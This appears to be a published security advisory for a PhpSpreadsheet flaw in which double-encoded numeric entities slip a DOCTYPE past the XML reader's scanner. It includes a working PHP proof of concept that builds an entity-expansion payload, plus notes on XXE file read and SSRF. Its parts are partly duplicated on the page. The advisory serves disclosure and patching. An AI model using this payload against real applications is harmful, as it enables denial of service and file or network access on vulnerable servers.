PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. From 3.3.0 until 3.10.8 and 5.10.0, Reader\Xml passes…
GitHub_M·CWE-611·Published 2026-10-22
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. From 3.3.0 until 3.10.8 and 5.10.0, Reader\Xml passes stored SpreadsheetML XML through XmlScanner::scan in Xml::canRead and Xml::trySimpleXMLLoadStringPrivate, while Xml::unentity decodes numeric entities only after each DOCTYPE pattern check. A double-encoded less-than character is reduced by the first callback to another encoded character and by the second callback to a literal less-than sign, so SimpleXML receives an unchecked DOCTYPE and entity declaration. Processing attacker-controlled SpreadsheetML XML can cause entity-expansion denial of service and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 3.10.8 and 5.10.0.
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. From 3.3.0 until 3.10.8 and 5.10.0, Reader\Xml passes stored SpreadsheetML XML through XmlScanner::scan in Xml::canRead and Xml::trySimpleXMLLoadStringPrivate, while Xml::unentity decodes numeric entities only after each DOCTYPE pattern check. A double-encoded less-than character is reduced by the first callback to another encoded character and by the second callback to a literal less-than sign, so SimpleXML receives an unchecked DOCTYPE and entity declaration. Processing attacker-controlled SpreadsheetML XML can cause entity-expansion denial of service and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 3.10.8 and 5.10.0.
### Summary The SpreadsheetML XML reader (`Reader\Xml`) scans file content **twice** through `XmlScanner::scan()`, and each scan runs an `unentity()` callback that calls `html_entity_decode()` **after** the pattern check. By double-encoding the `<` character as `&#60;`, the first scan decodes `&` to `&` (forming `<`), and the second scan decodes `<` to `<` (forming `<!DOCTYPE`). Neither scan's pattern check detects the `<!DOCTYPE` string because the callback runs after each check. This enables Denial of Service via entity expansion on **all PHP versions**, and XXE/SSRF on PHP < 8.0 or when `LIBXML_NOENT` is used. ### Details The vulnerability involves an interaction between three code locations: **1. `XmlScanner::scan()`** (XmlScanner.php, lines 87–108) — checks the pattern *before* the callback: ```php public function scan($xml): string { $pattern = '/\0*<\0*!\0*D\0*O\0*...\0*/'; if (preg_match($pattern, $xml)) { // CHECK 1 (raw) throw new Exception('Detected use of ENTITY...'); } $xml = $this->toUtf8($xml); if (preg_match($pattern, $xml)) { // CHECK 2 (UTF-8) throw new Exception('Detected use of ENTITY...'); } if ($this->callback !== null) { $xml = call_user_func($this->callback, $xml); // DECODE (after checks!) } return $xml; // <!DOCTYPE now present, never checked } ``` **2. `Xml::canRead()`** (Xml.php, lines 79–117) — scans and stores the result: ```php $data = file_get_contents($filename); $data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan // ... $this->fileContents = $data; // stores partially-decoded content ``` **3. `Xml::trySimpleXMLLoadStringPrivate()`** (Xml.php, lines 120–150) — re-scans the stored content: ```php $data = $this->fileContents; // already partially decoded $xml = simplexml_load_string( $this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding ); ``` The double-scan decode chain: ``` Raw file: &#60;!DOCTYPE | 1st scan(): pattern check → no match (no "<" character) callback → html_entity_decode(&) = & | Stored: <!DOCTYPE | 2nd scan(): pattern check → no match (no "<" character) callback → html_entity_decode(<) = < | Parser sees: <!DOCTYPE ← never detected by either scan ``` The `unentity()` callback (Xml.php, lines 54–61) protects five named entities (`& < > " '`) via Unicode placeholders, but numeric entities (`& < & <`) are not protected and are decoded by `html_entity_decode()`. ### PoC Save the following as `poc_toctou.php` in a directory with PhpSpreadsheet installed via Composer: ```php <?php require 'vendor/autoload.php'; // Double-encoded: &#60; survives two scan() passes // 1st scan callback: & → & (forms <) // 2nd scan callback: < → < (forms <!DOCTYPE) $entity_value = str_repeat('A', 100000); $refs = str_repeat('&big;', 200); $xml = '<?xml version="1.0"?>' . "\n" . '<?mso-application progid="Excel.Sheet"?>' . "\n" . '&#60;!DOCTYPE Workbook [' . "\n" . ' &#60;!ENTITY big "' . $entity_value . '">' . "\n" . ']>' . "\n" . '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n" . ' xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n" . ' <Worksheet ss:Name="Sheet1">' . "\n" . ' <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n" . ' </Worksheet>' . "\n" . '</Workbook>'; file_put_contents('poc.xml', $xml); echo "File size: " . filesize('poc.xml') . " bytes\n"; $mem_before = memory_get_usage(true); $reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml(); echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n"; $spreadsheet = $reader->load('poc.xml'); $peak = memory_get_peak_usage(true); echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n"; $val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue(); echo "Cell A1 length: " . strlen($val) . " bytes\n"; echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n"; ``` Run: `php -d memory_limit=512M poc_toctou.php` **Expected result:** The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion). **Hex variant:** Replace `&#60;` with `&#x3C;` — both are decoded by `html_entity_decode()`. **Tested on:** PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13. ### Impact | Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ | |--------|---------------------------|------------------------| | Denial of Service (quadratic blowup) | **Exploitable** | **Exploitable** | | Local file read via SYSTEM entity | **Exploitable** | Blocked by default | | SSRF via SYSTEM entity | **Exploitable** | Blocked by default | | File read when LIBXML_NOENT is used | **Exploitable** | **Exploitable** | Any application that accepts user-uploaded SpreadsheetML XML files (recognized by the `<?mso-application progid="Excel.Sheet"?>` processing instruction) and processes them with PhpSpreadsheet's `Xml` reader is vulnerable.
### Summary The SpreadsheetML XML reader (`Reader\Xml`) scans file content **twice** through `XmlScanner::scan()`, and each scan runs an `unentity()` callback that calls `html_entity_decode()` **after** the pattern check. By double-encoding the `<` character as `&#60;`, the first scan decodes `&` to `&` (forming `<`), and the second scan decodes `<` to `<` (forming `<!DOCTYPE`). Neither scan's pattern check detects the `<!DOCTYPE` string because the callback runs after each check. This enables Denial of Service via entity expansion on **all PHP versions**, and XXE/SSRF on PHP < 8.0 or when `LIBXML_NOENT` is used. ### Details The vulnerability involves an interaction between three code locations: **1. `XmlScanner::scan()`** (XmlScanner.php, lines 87–108) — checks the pattern *before* the callback: ```php public function scan($xml): string { $pattern = '/\0*<\0*!\0*D\0*O\0*...\0*/'; if (preg_match($pattern, $xml)) { // CHECK 1 (raw) throw new Exception('Detected use of ENTITY...'); } $xml = $this->toUtf8($xml); if (preg_match($pattern, $xml)) { // CHECK 2 (UTF-8) throw new Exception('Detected use of ENTITY...'); } if ($this->callback !== null) { $xml = call_user_func($this->callback, $xml); // DECODE (after checks!) } return $xml; // <!DOCTYPE now present, never checked } ``` **2. `Xml::canRead()`** (Xml.php, lines 79–117) — scans and stores the result: ```php $data = file_get_contents($filename); $data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan // ... $this->fileContents = $data; // stores partially-decoded content ``` **3. `Xml::trySimpleXMLLoadStringPrivate()`** (Xml.php, lines 120–150) — re-scans the stored content: ```php $data = $this->fileContents; // already partially decoded $xml = simplexml_load_string( $this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding ); ``` The double-scan decode chain: ``` Raw file: &#60;!DOCTYPE | 1st scan(): pattern check → no match (no "<" character) callback → html_entity_decode(&) = & | Stored: <!DOCTYPE | 2nd scan(): pattern check → no match (no "<" character) callback → html_entity_decode(<) = < | Parser sees: <!DOCTYPE ← never detected by either scan ``` The `unentity()` callback (Xml.php, lines 54–61) protects five named entities (`& < > " '`) via Unicode placeholders, but numeric entities (`& < & <`) are not protected and are decoded by `html_entity_decode()`. ### PoC Save the following as `poc_toctou.php` in a directory with PhpSpreadsheet installed via Composer: ```php <?php require 'vendor/autoload.php'; // Double-encoded: &#60; survives two scan() passes // 1st scan callback: & → & (forms <) // 2nd scan callback: < → < (forms <!DOCTYPE) $entity_value = str_repeat('A', 100000); $refs = str_repeat('&big;', 200); $xml = '<?xml version="1.0"?>' . "\n" . '<?mso-application progid="Excel.Sheet"?>' . "\n" . '&#60;!DOCTYPE Workbook [' . "\n" . ' &#60;!ENTITY big "' . $entity_value . '">' . "\n" . ']>' . "\n" . '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n" . ' xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n" . ' <Worksheet ss:Name="Sheet1">' . "\n" . ' <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n" . ' </Worksheet>' . "\n" . '</Workbook>'; file_put_contents('poc.xml', $xml); echo "File size: " . filesize('poc.xml') . " bytes\n"; $mem_before = memory_get_usage(true); $reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml(); echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n"; $spreadsheet = $reader->load('poc.xml'); $peak = memory_get_peak_usage(true); echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n"; $val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue(); echo "Cell A1 length: " . strlen($val) . " bytes\n"; echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n"; ``` Run: `php -d memory_limit=512M poc_toctou.php` **Expected result:** The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion). **Hex variant:** Replace `&#60;` with `&#x3C;` — both are decoded by `html_entity_decode()`. **Tested on:** PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13. ### Impact | Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ | |--------|---------------------------|------------------------| | Denial of Service (quadratic blowup) | **Exploitable** | **Exploitable** | | Local file read via SYSTEM entity | **Exploitable** | Blocked by default | | SSRF via SYSTEM entity | **Exploitable** | Blocked by default | | File read when LIBXML_NOENT is used | **Exploitable** | **Exploitable** | Any application that accepts user-uploaded SpreadsheetML XML files (recognized by the `<?mso-application progid="Excel.Sheet"?>` processing instruction) and processes them with PhpSpreadsheet's `Xml` reader is vulnerable.
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 4.0 | Primary | cve.org | 8.8 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N |
| 4.0 | Primary | cve.org | 8.8 | — | — |
| CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N |
| 4.0 | Secondary | NVD | 8.8 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |
| 4.0 | Secondary | GHSA | 8.8 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N |
| 4.0 | Secondary | ENISA EUVD | 8.8 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N |